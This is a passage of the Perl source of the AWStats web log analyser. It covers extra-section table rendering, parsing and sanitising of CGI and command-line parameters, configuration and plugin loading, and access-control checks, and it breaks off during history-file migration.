if ( $AddLinkToExternalCGIWrapper && ($ENV{'GATEWAY_INTERFACE'} || !$StaticLinks) ) {
print " - <a href=\""
. (XMLEncode(
"$AddLinkToExternalCGIWrapper" . "?section=EXTRA_$extranum&baseName=$DirData/$PROG"
. "&month=$MonthRequired&year=$YearRequired&day=$DayRequired"
. "§ionTitle=$ExtraName[$extranum]&siteConfig=$SiteConfig" )
. "\"$NewLinkTarget>$Message[179]</a>");
}
print "</th>";
if ( $ExtraStatTypes[$extranum] =~ m/P/i ) {
print
"<th bgcolor=\"#$color_p\" width=\"80\">$Message[56]</th>";
}
if ( $ExtraStatTypes[$extranum] =~ m/H/i ) {
print
"<th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th>";
}
if ( $ExtraStatTypes[$extranum] =~ m/B/i ) {
print
"<th bgcolor=\"#$color_k\" width=\"80\">$Message[75]</th>";
}
if ( $ExtraStatTypes[$extranum] =~ m/L/i ) {
print "<th width=\"120\">$Message[9]</th>";
}
print "</tr>\n";
my $total_p = my $total_h = my $total_k = 0;
#$max_h=1; foreach (values %_login_h) { if ($_ > $max_h) { $max_h = $_; } }
#$max_k=1; foreach (values %_login_k) { if ($_ > $max_k) { $max_k = $_; } }
my $count = 0;
if ( $MaxNbOfExtra[$extranum] ) {
if ( $ExtraStatTypes[$extranum] =~ m/P/i ) {
&BuildKeyList(
$MaxNbOfExtra[$extranum],
$MinHitExtra[$extranum],
\%{ '_section_' . $extranum . '_h' },
\%{ '_section_' . $extranum . '_p' }
);
}
else {
&BuildKeyList(
$MaxNbOfExtra[$extranum],
$MinHitExtra[$extranum],
\%{ '_section_' . $extranum . '_h' },
\%{ '_section_' . $extranum . '_h' }
);
}
}
else {
@keylist = ();
}
my %keysinkeylist = ();
foreach my $key (@keylist) {
$keysinkeylist{$key} = 1;
my $firstcol = CleanXSS( DecodeEncodedString($key) );
$total_p += ${ '_section_' . $extranum . '_p' }{$key};
$total_h += ${ '_section_' . $extranum . '_h' }{$key};
$total_k += ${ '_section_' . $extranum . '_k' }{$key};
print "<tr>";
printf(
"<td class=\"aws\">$ExtraFirstColumnFormat[$extranum]</td>",
$firstcol, $firstcol, $firstcol, $firstcol, $firstcol );
if ( $ExtraStatTypes[$extranum] =~ m/P/i ) {
print "<td>"
. ${ '_section_' . $extranum . '_p' }{$key} . "</td>";
}
if ( $ExtraStatTypes[$extranum] =~ m/H/i ) {
print "<td>"
. ${ '_section_' . $extranum . '_h' }{$key} . "</td>";
}
if ( $ExtraStatTypes[$extranum] =~ m/B/i ) {
print "<td>"
. Format_Bytes(
${ '_section_' . $extranum . '_k' }{$key} )
. "</td>";
}
if ( $ExtraStatTypes[$extranum] =~ m/L/i ) {
print "<td>"
. (
${ '_section_' . $extranum . '_l' }{$key}
? Format_Date(
${ '_section_' . $extranum . '_l' }{$key}, 1 )
: '-'
)
. "</td>";
}
print "</tr>\n";
$count++;
}
# If we ask average or sum, we loop on all other records
if ( $ExtraAddAverageRow[$extranum] || $ExtraAddSumRow[$extranum] )
{
foreach ( keys %{ '_section_' . $extranum . '_h' } ) {
if ( $keysinkeylist{$_} ) { next; }
$total_p += ${ '_section_' . $extranum . '_p' }{$_};
$total_h += ${ '_section_' . $extranum . '_h' }{$_};
$total_k += ${ '_section_' . $extranum . '_k' }{$_};
$count++;
}
}
# Add average row
if ( $ExtraAddAverageRow[$extranum] ) {
print "<tr>";
print "<td class=\"aws\"><b>$Message[96]</b></td>";
if ( $ExtraStatTypes[$extranum] =~ m/P/i ) {
print "<td>"
. ( $count ? Format_Number(( $total_p / $count )) : " " ) . "</td>";
}
if ( $ExtraStatTypes[$extranum] =~ m/H/i ) {
print "<td>"
. ( $count ? Format_Number(( $total_h / $count )) : " " ) . "</td>";
}
if ( $ExtraStatTypes[$extranum] =~ m/B/i ) {
print "<td>"
. (
$count ? Format_Bytes( $total_k / $count ) : " " )
. "</td>";
}
if ( $ExtraStatTypes[$extranum] =~ m/L/i ) {
print "<td> </td>";
}
print "</tr>\n";
}
# Add sum row
if ( $ExtraAddSumRow[$extranum] ) {
print "<tr>";
print "<td class=\"aws\"><b>$Message[102]</b></td>";
if ( $ExtraStatTypes[$extranum] =~ m/P/i ) {
print "<td>" . Format_Number(($total_p)) . "</td>";
}
if ( $ExtraStatTypes[$extranum] =~ m/H/i ) {
print "<td>" . Format_Number(($total_h)) . "</td>";
}
if ( $ExtraStatTypes[$extranum] =~ m/B/i ) {
print "<td>" . Format_Bytes($total_k) . "</td>";
}
if ( $ExtraStatTypes[$extranum] =~ m/L/i ) {
print "<td> </td>";
}
print "</tr>\n";
}
&tab_end();
}
#------------------------------------------------------------------------------
# MAIN
#------------------------------------------------------------------------------
( $DIR = $0 ) =~ s/([^\/\\]+)$//;
( $PROG = $1 ) =~ s/\.([^\.]*)$//;
$Extension = $1;
$DIR ||= '.';
$DIR =~ s/([^\/\\])[\\\/]+$/$1/;
$starttime = time();
# Get current time (time when AWStats was started)
( $nowsec, $nowmin, $nowhour, $nowday, $nowmonth, $nowyear, $nowwday, $nowyday )
= localtime($starttime);
$nowweekofmonth = int( $nowday / 7 );
$nowweekofyear =
int( ( $nowyday - 1 + 6 - ( $nowwday == 0 ? 6 : $nowwday - 1 ) ) / 7 ) + 1;
if ( $nowweekofyear > 52 ) { $nowweekofyear = 1; }
$nowdaymod = $nowday % 7;
$nowwday++;
$nowns = Time::Local::timegm( 0, 0, 0, $nowday, $nowmonth, $nowyear );
if ( $nowdaymod <= $nowwday ) {
if ( ( $nowwday != 7 ) || ( $nowdaymod != 0 ) ) {
$nowweekofmonth = $nowweekofmonth + 1;
}
}
if ( $nowdaymod > $nowwday ) { $nowweekofmonth = $nowweekofmonth + 2; }
# Change format of time variables
$nowweekofmonth = "0$nowweekofmonth";
if ( $nowweekofyear < 10 ) { $nowweekofyear = "0$nowweekofyear"; }
if ( $nowyear < 100 ) { $nowyear += 2000; }
else { $nowyear += 1900; }
$nowsmallyear = $nowyear;
$nowsmallyear =~ s/^..//;
if ( ++$nowmonth < 10 ) { $nowmonth = "0$nowmonth"; }
if ( $nowday < 10 ) { $nowday = "0$nowday"; }
if ( $nowhour < 10 ) { $nowhour = "0$nowhour"; }
if ( $nowmin < 10 ) { $nowmin = "0$nowmin"; }
if ( $nowsec < 10 ) { $nowsec = "0$nowsec"; }
$nowtime = int( $nowyear . $nowmonth . $nowday . $nowhour . $nowmin . $nowsec );
# Get tomorrow time (will be used to discard some record with corrupted date (future date))
my (
$tomorrowsec, $tomorrowmin, $tomorrowhour,
$tomorrowday, $tomorrowmonth, $tomorrowyear
)
= localtime( $starttime + 86400 );
if ( $tomorrowyear < 100 ) { $tomorrowyear += 2000; }
else { $tomorrowyear += 1900; }
if ( ++$tomorrowmonth < 10 ) { $tomorrowmonth = "0$tomorrowmonth"; }
if ( $tomorrowday < 10 ) { $tomorrowday = "0$tomorrowday"; }
if ( $tomorrowhour < 10 ) { $tomorrowhour = "0$tomorrowhour"; }
if ( $tomorrowmin < 10 ) { $tomorrowmin = "0$tomorrowmin"; }
if ( $tomorrowsec < 10 ) { $tomorrowsec = "0$tomorrowsec"; }
$tomorrowtime =
int( $tomorrowyear
. $tomorrowmonth
. $tomorrowday
. $tomorrowhour
. $tomorrowmin
. $tomorrowsec );
# Allowed option
my @AllowedCLIArgs = (
'migrate', 'config',
'logfile', 'output',
'runascli', 'update',
'staticlinks', 'staticlinksext',
'noloadplugin', 'loadplugin',
'hostfilter', 'urlfilter',
'refererpagesfilter', 'lang',
'month', 'year',
'framename', 'debug',
'showsteps', 'showdropped',
'showcorrupted', 'showunknownorigin',
'showdirectorigin', 'limitflush',
'nboflastupdatelookuptosave',
'confdir', 'updatefor',
'hostfilter', 'hostfilterex',
'urlfilter', 'urlfilterex',
'refererpagesfilter', 'refererpagesfilterex',
'pluginmode', 'filterrawlog'
);
# Parse input parameters and sanitize them for security reasons
$QueryString = '';
# AWStats use GATEWAY_INTERFACE to known if ran as CLI or CGI. AWSTATS_DEL_GATEWAY_INTERFACE can
# be set to force AWStats to be ran as CLI even from a web page.
if ( $ENV{'AWSTATS_DEL_GATEWAY_INTERFACE'} ) { $ENV{'GATEWAY_INTERFACE'} = ''; }
if ( $ENV{'GATEWAY_INTERFACE'} ) { # Run from a browser as CGI
$DebugMessages = 0;
# Prepare QueryString
if ( $ENV{'CONTENT_LENGTH'} ) {
binmode STDIN;
read( STDIN, $QueryString, $ENV{'CONTENT_LENGTH'} );
}
if ( $ENV{'QUERY_STRING'} ) {
$QueryString = $ENV{'QUERY_STRING'};
# Set & and & to &
$QueryString =~ s/&/&/g;
$QueryString =~ s/&/&/g;
}
# Remove all XSS vulnerabilities coming from AWStats parameters
$QueryString = CleanXSS( &DecodeEncodedString($QueryString) );
# Security test
if ( $QueryString =~ /LogFile=([^&]+)/i ) {
error(
"Logfile parameter can't be overwritten when AWStats is used from a CGI"
);
}
# No update but report by default when run from a browser
$UpdateStats = ( $QueryString =~ /update=1/i ? 1 : 0 );
if ( $QueryString =~ /config=([^&]+)/i ) {
$SiteConfig = &Sanitize("$1");
}
if ( $QueryString =~ /diricons=([^&]+)/i ) { $DirIcons = "$1"; }
if ( $QueryString =~ /pluginmode=([^&]+)/i ) {
$PluginMode = &Sanitize( "$1", 1 );
}
if ( $QueryString =~ /configdir=([^&]+)/i ) {
$DirConfig = &Sanitize("$1");
$DirConfig =~ s/\\{2,}/\\/g; # This is to clean Remote URL
$DirConfig =~ s/\/{2,}/\//g; # This is to clean Remote URL
}
# All filters
if ( $QueryString =~ /hostfilter=([^&]+)/i ) {
$FilterIn{'host'} = "$1";
} # Filter on host list can also be defined with hostfilter=filter
if ( $QueryString =~ /hostfilterex=([^&]+)/i ) {
$FilterEx{'host'} = "$1";
} #
if ( $QueryString =~ /urlfilter=([^&]+)/i ) {
$FilterIn{'url'} = "$1";
} # Filter on URL list can also be defined with urlfilter=filter
if ( $QueryString =~ /urlfilterex=([^&]+)/i ) { $FilterEx{'url'} = "$1"; } #
if ( $QueryString =~ /refererpagesfilter=([^&]+)/i ) {
$FilterIn{'refererpages'} = "$1";
} # Filter on referer list can also be defined with refererpagesfilter=filter
if ( $QueryString =~ /refererpagesfilterex=([^&]+)/i ) {
$FilterEx{'refererpages'} = "$1";
} #
# All output
if ( $QueryString =~ /output=allhosts:([^&]+)/i ) {
$FilterIn{'host'} = "$1";
} # Filter on host list can be defined with output=allhosts:filter to reduce number of lines read and showed
if ( $QueryString =~ /output=lasthosts:([^&]+)/i ) {
$FilterIn{'host'} = "$1";
} # Filter on host list can be defined with output=lasthosts:filter to reduce number of lines read and showed
if ( $QueryString =~ /output=urldetail:([^&]+)/i ) {
$FilterIn{'url'} = "$1";
} # Filter on URL list can be defined with output=urldetail:filter to reduce number of lines read and showed
if ( $QueryString =~ /output=refererpages:([^&]+)/i ) {
$FilterIn{'refererpages'} = "$1";
} # Filter on referer list can be defined with output=refererpages:filter to reduce number of lines read and showed
# If migrate
if ( $QueryString =~ /(^|-|&|&)migrate=([^&]+)/i ) {
$MigrateStats = &Sanitize("$2");
$MigrateStats =~ /^(.*)$PROG(\d{0,2})(\d\d)(\d\d\d\d)(.*)\.txt$/;
$SiteConfig = &Sanitize($5 ? $5 : 'xxx');
$SiteConfig =~ s/^\.//; # SiteConfig is used to find config file
}
$SiteConfig =~ s/\.\.//g; # Avoid directory transversal
}
else { # Run from command line
$DebugMessages = 1;
# Prepare QueryString
for ( 0 .. @ARGV - 1 ) {
# If migrate
if ( $ARGV[$_] =~ /(^|-|&|&)migrate=([^&]+)/i ) {
$MigrateStats = &Sanitize("$2");
$MigrateStats =~ /^(.*)$PROG(\d{0,2})(\d\d)(\d\d\d\d)(.*)\.txt$/;
$SiteConfig = &Sanitize($5 ? $5 : 'xxx');
$SiteConfig =~ s/^\.//; # SiteConfig is used to find config file
next;
}
# TODO Check if ARGV is in @AllowedArg
if ($QueryString) { $QueryString .= '&'; }
my $NewLinkParams = $ARGV[$_];
$NewLinkParams =~ s/^-+//;
$QueryString .= "$NewLinkParams";
}
# Remove all XSS vulnerabilities coming from AWStats parameters
$QueryString = CleanXSS($QueryString);
# Security test
if ( $ENV{'AWSTATS_DEL_GATEWAY_INTERFACE'}
&& $QueryString =~ /LogFile=([^&]+)/i )
{
error(
"Logfile parameter can't be overwritten when AWStats is used from a CGI"
);
}
# Update with no report by default when run from command line
$UpdateStats = 1;
if ( $QueryString =~ /config=([^&]+)/i ) {
$SiteConfig = &Sanitize("$1");
}
if ( $QueryString =~ /diricons=([^&]+)/i ) { $DirIcons = "$1"; }
if ( $QueryString =~ /pluginmode=([^&]+)/i ) {
$PluginMode = &Sanitize( "$1", 1 );
}
if ( $QueryString =~ /configdir=([^&]+)/i ) {
$DirConfig = &Sanitize("$1");
$DirConfig =~ s/\\{2,}/\\/g; # This is to clean Remote URL
$DirConfig =~ s/\/{2,}/\//g; # This is to clean Remote URL
}
# All filters
if ( $QueryString =~ /hostfilter=([^&]+)/i ) {
$FilterIn{'host'} = "$1";
} # Filter on host list can also be defined with hostfilter=filter
if ( $QueryString =~ /hostfilterex=([^&]+)/i ) {
$FilterEx{'host'} = "$1";
} #
if ( $QueryString =~ /urlfilter=([^&]+)/i ) {
$FilterIn{'url'} = "$1";
} # Filter on URL list can also be defined with urlfilter=filter
if ( $QueryString =~ /urlfilterex=([^&]+)/i ) { $FilterEx{'url'} = "$1"; } #
if ( $QueryString =~ /refererpagesfilter=([^&]+)/i ) {
$FilterIn{'refererpages'} = "$1";
} # Filter on referer list can also be defined with refererpagesfilter=filter
if ( $QueryString =~ /refererpagesfilterex=([^&]+)/i ) {
$FilterEx{'refererpages'} = "$1";
} #
# All output
if ( $QueryString =~ /output=allhosts:([^&]+)/i ) {
$FilterIn{'host'} = "$1";
} # Filter on host list can be defined with output=allhosts:filter to reduce number of lines read and showed
if ( $QueryString =~ /output=lasthosts:([^&]+)/i ) {
$FilterIn{'host'} = "$1";
} # Filter on host list can be defined with output=lasthosts:filter to reduce number of lines read and showed
if ( $QueryString =~ /output=urldetail:([^&]+)/i ) {
$FilterIn{'url'} = "$1";
} # Filter on URL list can be defined with output=urldetail:filter to reduce number of lines read and showed
if ( $QueryString =~ /output=refererpages:([^&]+)/i ) {
$FilterIn{'refererpages'} = "$1";
} # Filter on referer list can be defined with output=refererpages:filter to reduce number of lines read and showed
# Config parameters
if ( $QueryString =~ /LogFile=([^&]+)/i ) { $LogFile = "$1"; }
# If show options
if ( $QueryString =~ /showsteps/i ) {
$ShowSteps = 1;
$QueryString =~ s/showsteps[^&]*//i;
}
if ( $QueryString =~ /showcorrupted/i ) {
$ShowCorrupted = 1;
$QueryString =~ s/showcorrupted[^&]*//i;
}
if ( $QueryString =~ /showdropped/i ) {
$ShowDropped = 1;
$QueryString =~ s/showdropped[^&]*//i;
}
if ( $QueryString =~ /showunknownorigin/i ) {
$ShowUnknownOrigin = 1;
$QueryString =~ s/showunknownorigin[^&]*//i;
}
if ( $QueryString =~ /showdirectorigin/i ) {
$ShowDirectOrigin = 1;
$QueryString =~ s/showdirectorigin[^&]*//i;
}
$SiteConfig =~ s/\.\.//g;
}
if ( $QueryString =~ /(^|&|&)staticlinks/i ) {
$StaticLinks = "$PROG.$SiteConfig";
}
if ( $QueryString =~ /(^|&|&)staticlinks=([^&]+)/i ) {
$StaticLinks = "$2";
} # When ran from awstatsbuildstaticpages.pl
if ( $QueryString =~ /(^|&|&)staticlinksext=([^&]+)/i ) {
$StaticExt = "$2";
}
if ( $QueryString =~ /(^|&|&)framename=([^&]+)/i ) { $FrameName = "$2"; }
if ( $QueryString =~ /(^|&|&)debug=(\d+)/i ) { $Debug = $2; }
if ( $QueryString =~ /(^|&|&)databasebreak=(\w+)/i ) {
$DatabaseBreak = $2;
}
if ( $QueryString =~ /(^|&|&)updatefor=(\d+)/i ) { $UpdateFor = $2; }
if ( $QueryString =~ /(^|&|&)noloadplugin=([^&]+)/i ) {
foreach ( split( /,/, $2 ) ) { $NoLoadPlugin{ &Sanitize( "$_", 1 ) } = 1; }
}
if ( $QueryString =~ /(^|&|&)limitflush=(\d+)/i ) { $LIMITFLUSH = $2; }
if ( $QueryString =~ /(^|&|&)nboflastupdatelookuptosave=(\d+)/i ) { $NBOFLASTUPDATELOOKUPTOSAVE = $2; }
# Get/Define output
if ( $QueryString =~
/(^|&|&)output(=[^&]*|)(.*)(&|&)output(=[^&]*|)(&|$)/i )
{
error( "Only 1 output option is allowed", "", "", 1 );
}
if ( $QueryString =~ /(^|&|&)output(=[^&]*|)(&|$)/i ) {
# At least one output expected. We define %HTMLOutput
my $outputlist = "$2";
if ($outputlist) {
$outputlist =~ s/^=//;
foreach my $outputparam ( split( /,/, $outputlist ) ) {
$outputparam =~ s/:(.*)$//;
if ($outputparam) { $HTMLOutput{ lc($outputparam) } = "$1" || 1; }
}
}
# If on command line and no update
if ( !$ENV{'GATEWAY_INTERFACE'} && $QueryString !~ /update/i ) {
$UpdateStats = 0;
}
# If no output defined, used default value
if ( !scalar keys %HTMLOutput ) { $HTMLOutput{'main'} = 1; }
}
if ( $ENV{'GATEWAY_INTERFACE'} && !scalar keys %HTMLOutput ) {
$HTMLOutput{'main'} = 1;
}
# Remove -output option with no = from QueryString
$QueryString =~ s/(^|&|&)output(&|$)/$1$2/i;
$QueryString =~ s/&+$//;
# Check year, month, day, hour parameters
if ( $QueryString =~ /(^|&|&)month=(year)/i ) {
error("month=year is a deprecated option. Use month=all instead.");
}
if ( $QueryString =~ /(^|&|&)year=(\d\d\d\d)/i ) {
$YearRequired = sprintf( "%04d", $2 );
}
else { $YearRequired = "$nowyear"; }
if ( $QueryString =~ /(^|&|&)month=(\d{1,2})/i ) {
$MonthRequired = sprintf( "%02d", $2 );
}
elsif ( $QueryString =~ /(^|&|&)month=(all)/i ) { $MonthRequired = 'all'; }
else { $MonthRequired = "$nowmonth"; }
if ( $QueryString =~ /(^|&|&)day=(\d{1,2})/i ) {
$DayRequired = sprintf( "%02d", $2 );
} # day is a hidden option. Must not be used (Make results not understandable). Available for users that rename history files with day.
else { $DayRequired = ''; }
if ( $QueryString =~ /(^|&|&)hour=(\d{1,2})/i ) {
$HourRequired = sprintf( "%02d", $2 );
} # hour is a hidden option. Must not be used (Make results not understandable). Available for users that rename history files with day.
else { $HourRequired = ''; }
# Check parameter validity
# TODO
# Print AWStats and Perl version
if ($Debug) {
debug( ucfirst($PROG) . " - $VERSION - Perl $^X $]", 1 );
debug( "DIR=$DIR PROG=$PROG Extension=$Extension", 2 );
debug( "QUERY_STRING=$QueryString", 2 );
debug( "HTMLOutput=" . join( ',', keys %HTMLOutput ), 1 );
debug( "YearRequired=$YearRequired, MonthRequired=$MonthRequired", 2 );
debug( "DayRequired=$DayRequired, HourRequired=$HourRequired", 2 );
debug( "UpdateFor=$UpdateFor", 2 );
debug( "PluginMode=$PluginMode", 2 );
debug( "DirConfig=$DirConfig", 2 );
}
# Force SiteConfig if AWSTATS_FORCE_CONFIG is defined
if ( $ENV{'AWSTATS_CONFIG'} ) {
$ENV{'AWSTATS_FORCE_CONFIG'} = $ENV{'AWSTATS_CONFIG'};
} # For backward compatibility
if ( $ENV{'AWSTATS_FORCE_CONFIG'} ) {
if ($Debug) {
debug( "AWSTATS_FORCE_CONFIG parameter is defined to '"
. $ENV{'AWSTATS_FORCE_CONFIG'}
. "'. $PROG will use this as config value." );
}
$SiteConfig = &Sanitize( $ENV{'AWSTATS_FORCE_CONFIG'} );
}
# Display version information
if ( $QueryString =~ /(^|&|&)version/i ) {
print "$PROG $VERSION\n";
exit 0;
}
# Display help information
if ( ( !$ENV{'GATEWAY_INTERFACE'} ) && ( !$SiteConfig ) ) {
&PrintCLIHelp();
exit 2;
}
$SiteConfig ||= &Sanitize( $ENV{'SERVER_NAME'} );
#$ENV{'SERVER_NAME'}||=$SiteConfig; # For thoose who use __SERVER_NAME__ in conf file and use CLI.
$ENV{'AWSTATS_CURRENT_CONFIG'} = $SiteConfig;
# Read config file (SiteConfig must be defined)
&Read_Config($DirConfig);
# Check language
if ( $QueryString =~ /(^|&|&)lang=([^&]+)/i ) { $Lang = "$2"; }
if ( !$Lang || $Lang eq 'auto' ) { # If lang not defined or forced to auto
my $langlist = $ENV{'HTTP_ACCEPT_LANGUAGE'} || '';
$langlist =~ s/;[^,]*//g;
if ($Debug) {
debug(
"Search an available language among HTTP_ACCEPT_LANGUAGE=$langlist",
1
);
}
foreach my $code ( split( /,/, $langlist ) )
{ # Search for a valid lang in priority
if ( $LangBrowserToLangAwstats{$code} ) {
$Lang = $LangBrowserToLangAwstats{$code};
if ($Debug) { debug( " Will try to use Lang=$Lang", 1 ); }
last;
}
$code =~ s/-.*$//;
if ( $LangBrowserToLangAwstats{$code} ) {
$Lang = $LangBrowserToLangAwstats{$code};
if ($Debug) { debug( " Will try to use Lang=$Lang", 1 ); }
last;
}
}
}
if ( !$Lang || $Lang eq 'auto' ) {
if ($Debug) {
debug( " No language defined or available. Will use Lang=en", 1 );
}
$Lang = 'en';
}
# Check and correct bad parameters
&Check_Config();
# Now SiteDomain is defined
if ( $Debug && !$DebugMessages ) {
error(
"Debug has not been allowed. Change DebugMessages parameter in config file to allow debug."
);
}
# Define frame name and correct variable for frames
if ( !$FrameName ) {
if ( $ENV{'GATEWAY_INTERFACE'}
&& $UseFramesWhenCGI
&& $HTMLOutput{'main'}
&& !$PluginMode )
{
$FrameName = 'index';
}
else { $FrameName = 'main'; }
}
# Load Message files, Reference data files and Plugins
if ($Debug) { debug( "FrameName=$FrameName", 1 ); }
if ( $FrameName ne 'index' ) {
&Read_Language_Data($Lang);
if ( $FrameName ne 'mainleft' ) {
my %datatoload = ();
my (
$filedomains, $filemime, $filerobots, $fileworms,
$filebrowser, $fileos, $filese
)
= (
'domains', 'mime',
'robots', 'worms',
'browsers', 'operating_systems',
'search_engines'
);
my ( $filestatushttp, $filestatussmtp ) =
( 'status_http', 'status_smtp' );
if ( $LevelForBrowsersDetection eq 'allphones' ) {
$filebrowser = 'browsers_phone';
}
if ($UpdateStats) { # If update
if ($LevelForFileTypesDetection) {
$datatoload{$filemime} = 1;
} # Only if need to filter on known extensions
if ($LevelForRobotsDetection) {
$datatoload{$filerobots} = 1;
} # ua
if ($LevelForWormsDetection) {
$datatoload{$fileworms} = 1;
} # url
if ($LevelForBrowsersDetection) {
$datatoload{$filebrowser} = 1;
} # ua
if ($LevelForOSDetection) {
$datatoload{$fileos} = 1;
} # ua
if ($LevelForRefererAnalyze) {
$datatoload{$filese} = 1;
} # referer
# if (...) { $datatoload{'referer_spam'}=1; }
}
if ( scalar keys %HTMLOutput ) { # If output
if ( $ShowDomainsStats || $ShowHostsStats ) {
$datatoload{$filedomains} = 1;
} # TODO Replace by test if ($ShowDomainsStats) when plugins geoip can force load of domains datafile.
if ($ShowFileTypesStats) { $datatoload{$filemime} = 1; }
if ($ShowRobotsStats) { $datatoload{$filerobots} = 1; }
if ($ShowWormsStats) { $datatoload{$fileworms} = 1; }
if ($ShowBrowsersStats) { $datatoload{$filebrowser} = 1; }
if ($ShowOSStats) { $datatoload{$fileos} = 1; }
if ($ShowOriginStats) { $datatoload{$filese} = 1; }
if ($ShowHTTPErrorsStats) { $datatoload{$filestatushttp} = 1; }
if ($ShowSMTPErrorsStats) { $datatoload{$filestatussmtp} = 1; }
}
&Read_Ref_Data( keys %datatoload );
}
&Read_Plugins();
}
# Here charset is defined, so we can send the http header (Need BuildReportFormat,PageCode)
if ( !$HeaderHTTPSent && $ENV{'GATEWAY_INTERFACE'} ) {
http_head();
} # Run from a browser as CGI
# Init other parameters
$NBOFLINESFORBENCHMARK--;
if ( $ENV{'GATEWAY_INTERFACE'} ) { $DirCgi = ''; }
if ( $DirCgi && !( $DirCgi =~ /\/$/ ) && !( $DirCgi =~ /\\$/ ) ) {
$DirCgi .= '/';
}
if ( !$DirData || $DirData =~ /^\./ ) {
if ( !$DirData || $DirData eq '.' ) {
$DirData = "$DIR";
} # If not defined or chosen to '.' value then DirData is current dir
elsif ( $DIR && $DIR ne '.' ) { $DirData = "$DIR/$DirData"; }
}
$DirData ||= '.'; # If current dir not defined then we put it to '.'
$DirData =~ s/[\\\/]+$//;
if ( $FirstDayOfWeek == 1 ) { @DOWIndex = ( 1, 2, 3, 4, 5, 6, 0 ); }
else { @DOWIndex = ( 0, 1, 2, 3, 4, 5, 6 ); }
# Should we link to ourselves or to a wrapper script
$AWScript = ( $WrapperScript ? "$WrapperScript" : "$DirCgi$PROG.$Extension" );
if (index($AWScript,'?')>-1)
{
$AWScript .= '&'; # $AWScript contains URL parameters
}
else
{
$AWScript .= '?';
}
# Print html header (Need HTMLOutput,Expires,Lang,StyleSheet,HTMLHeadSectionExpires defined by Read_Config, PageCode defined by Read_Language_Data)
if ( !$HeaderHTMLSent ) { &html_head; }
# AWStats output is replaced by a plugin output
if ($PluginMode) {
# my $function="BuildFullHTMLOutput_$PluginMode()";
# eval("$function");
my $function = "BuildFullHTMLOutput_$PluginMode";
&$function();
if ( $? || $@ ) { error("$@"); }
&html_end(0);
exit 0;
}
# Security check
if ( $AllowAccessFromWebToAuthenticatedUsersOnly && $ENV{'GATEWAY_INTERFACE'} )
{
if ($Debug) { debug( "REMOTE_USER=" . $ENV{"REMOTE_USER"} ); }
if ( !$ENV{"REMOTE_USER"} ) {
error(
"Access to statistics is only allowed from an authenticated session to authenticated users."
);
}
if (@AllowAccessFromWebToFollowingAuthenticatedUsers) {
my $userisinlist = 0;
my $remoteuser = quotemeta( $ENV{"REMOTE_USER"} );
$remoteuser =~ s/\s/%20/g
; # Allow authenticated user with space in name to be compared to allowed user list
my $currentuser = qr/^$remoteuser$/i; # Set precompiled regex
foreach (@AllowAccessFromWebToFollowingAuthenticatedUsers) {
if (/$currentuser/o) { $userisinlist = 1; last; }
}
if ( !$userisinlist ) {
error( "User '"
. $ENV{"REMOTE_USER"}
. "' is not allowed to access statistics of this domain/config."
);
}
}
}
if ( $AllowAccessFromWebToFollowingIPAddresses && $ENV{'GATEWAY_INTERFACE'} ) {
my $IPAddress = $ENV{"REMOTE_ADDR"}; # IPv4 or IPv6
my $useripaddress = &Convert_IP_To_Decimal($IPAddress);
my @allowaccessfromipaddresses =
split( /[\s,]+/, $AllowAccessFromWebToFollowingIPAddresses );
my $allowaccess = 0;
foreach my $ipaddressrange (@allowaccessfromipaddresses) {
if ( $ipaddressrange !~
/^(\d+\.\d+\.\d+\.\d+)(?:-(\d+\.\d+\.\d+\.\d+))*$/
&& $ipaddressrange !~
/^([0-9A-Fa-f]{1,4}:){1,7}(:|)([0-9A-Fa-f]{1,4}|\/\d)/ )
{
error(
"AllowAccessFromWebToFollowingIPAddresses is defined to '$AllowAccessFromWebToFollowingIPAddresses' but part of value does not match the correct syntax: IPv4AddressMin[-IPv4AddressMax] or IPv6Address[\/prefix] in \"$ipaddressrange\""
);
}
# Test ip v4
if ( $ipaddressrange =~
/^(\d+\.\d+\.\d+\.\d+)(?:-(\d+\.\d+\.\d+\.\d+))*$/ )
{
my $ipmin = &Convert_IP_To_Decimal($1);
my $ipmax = $2 ? &Convert_IP_To_Decimal($2) : $ipmin;
# Is it an authorized ip ?
if ( ( $useripaddress >= $ipmin ) && ( $useripaddress <= $ipmax ) )
{
$allowaccess = 1;
last;
}
}
# Test ip v6
if ( $ipaddressrange =~
/^([0-9A-Fa-f]{1,4}:){1,7}(:|)([0-9A-Fa-f]{1,4}|\/\d)/ )
{
if ( $ipaddressrange =~ /::\// ) {
my @IPv6split = split( /::/, $ipaddressrange );
if ( $IPAddress =~ /^$IPv6split[0]/ ) {
$allowaccess = 1;
last;
}
}
elsif ( $ipaddressrange == $IPAddress ) {
$allowaccess = 1;
last;
}
}
}
if ( !$allowaccess ) {
error( "Access to statistics is not allowed from your IP Address "
. $ENV{"REMOTE_ADDR"} );
}
}
if ( ( $UpdateStats || $MigrateStats )
&& ( !$AllowToUpdateStatsFromBrowser )
&& $ENV{'GATEWAY_INTERFACE'} )
{
error( ""
. ( $UpdateStats ? "Update" : "Migrate" )
. " of statistics has not been allowed from a browser (AllowToUpdateStatsFromBrowser should be set to 1)."
);
}
if ( scalar keys %HTMLOutput && $MonthRequired eq 'all' ) {
if ( !$AllowFullYearView ) {
error(
"Full year view has not been allowed (AllowFullYearView is set to 0)."
);
}
if ( $AllowFullYearView < 3 && $ENV{'GATEWAY_INTERFACE'} ) {
error(
"Full year view has not been allowed from a browser (AllowFullYearView should be set to 3)."
);
}
}
#------------------------------------------
# MIGRATE PROCESS (Must be after reading config cause we need MaxNbOf... and Min...)
#------------------------------------------
if ($MigrateStats) {
if ($Debug) { debug( "MigrateStats is $MigrateStats", 2 ); }
if ( $MigrateStats !~
/^(.*)$PROG(\d\d)(\d\d\d\d)(\d{0,2})(\d{0,2})(.*)\.txt$/ )
{
error(
"AWStats history file name must match following syntax: ${PROG}MMYYYY[.config].txt",
"", "", 1
);
}
$DirData = "$1";
$MonthRequired = "$2";
$YearRequired = "$3";
$DayRequired = "$4";
$HourRequired = "$5";
$FileSuffix = "$6";
# Correct DirData
if ( !$DirData || $DirData =~ /^\./ ) {
if ( !$DirData || $DirData eq '.' ) {
$DirData = "$DIR";
} # If not defined or chosen to '.' value then DirData is current dir
elsif ( $DIR && $DIR ne '.' ) { $DirData = "$DIR/$DirData"; }
}
$DirData ||= '.'; # If current dir not defined then we put it to '.'
$DirData =~ s/[\\\/]+$//;
print "Start migration for file '$MigrateStats'.";
print $ENV{'GATEWAY_INTERFACE'} ? "<br />\n" : "\n";
if ($EnableLockForUpdate) { &Lock_Update(1); }
my $newhistory =
&Read_History_With_TmpUpdate( $YearRequired, $MonthRequired, $DayRequired,
$HourRequired, 1, 0, 'all' );
